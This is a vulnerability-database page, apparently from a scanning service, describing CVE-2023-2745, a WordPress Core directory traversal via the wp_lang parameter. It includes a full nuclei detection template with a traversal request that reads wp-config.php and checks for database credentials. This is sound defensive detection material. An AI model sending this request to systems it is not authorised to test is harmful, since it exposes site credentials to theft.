HexBrain

Browse / CVEs / CVE-2023-2745

CVE-2023-2745· CWE-22

WordPress Core <=6.2 - Directory Traversal

mediumseverity
6.1CVSS score
79.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.

Impact

This allows unauthenticated attackers to access and load arbitrary translation files. In cases where an attacker is able to upload a crafted translation file onto the site, such as via an upload form, this could be also used to perform a Cross-Site Scripting attack.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET /
Positive when: contains(body, "/wp-content/plugins")
Send: GET /wp-login.php?wp_lang=../../../../../../../wp-config.php
Positive when: contains_all(body, "DB_NAME", "DB_PASSWORD") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-2745 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-2745

info:
  name: WordPress Core <=6.2 - Directory Traversal
  author: nqdung2002
  severity: medium
  description: |
    WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    This allows unauthenticated attackers to access and load arbitrary translation files. In cases where an attacker is able to upload a crafted translation file onto the site, such as via an upload form, this could be also used to perform a Cross-Site Scripting attack.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2745
    - https://www.cvedetails.com/cve/CVE-2023-2745/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2745
    cwe-id: CWE-22
    epss-score: 0.79657
    epss-percentile: 0.99609
  metadata:
    max-request: 2
    framework: wordpress
  tags: cve,cve2023,wpscan,disclosure,wp,wordpress,lfi,vuln,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins")'
        internal: true

  - raw:
      - |
        GET /wp-login.php?wp_lang=../../../../../../../wp-config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from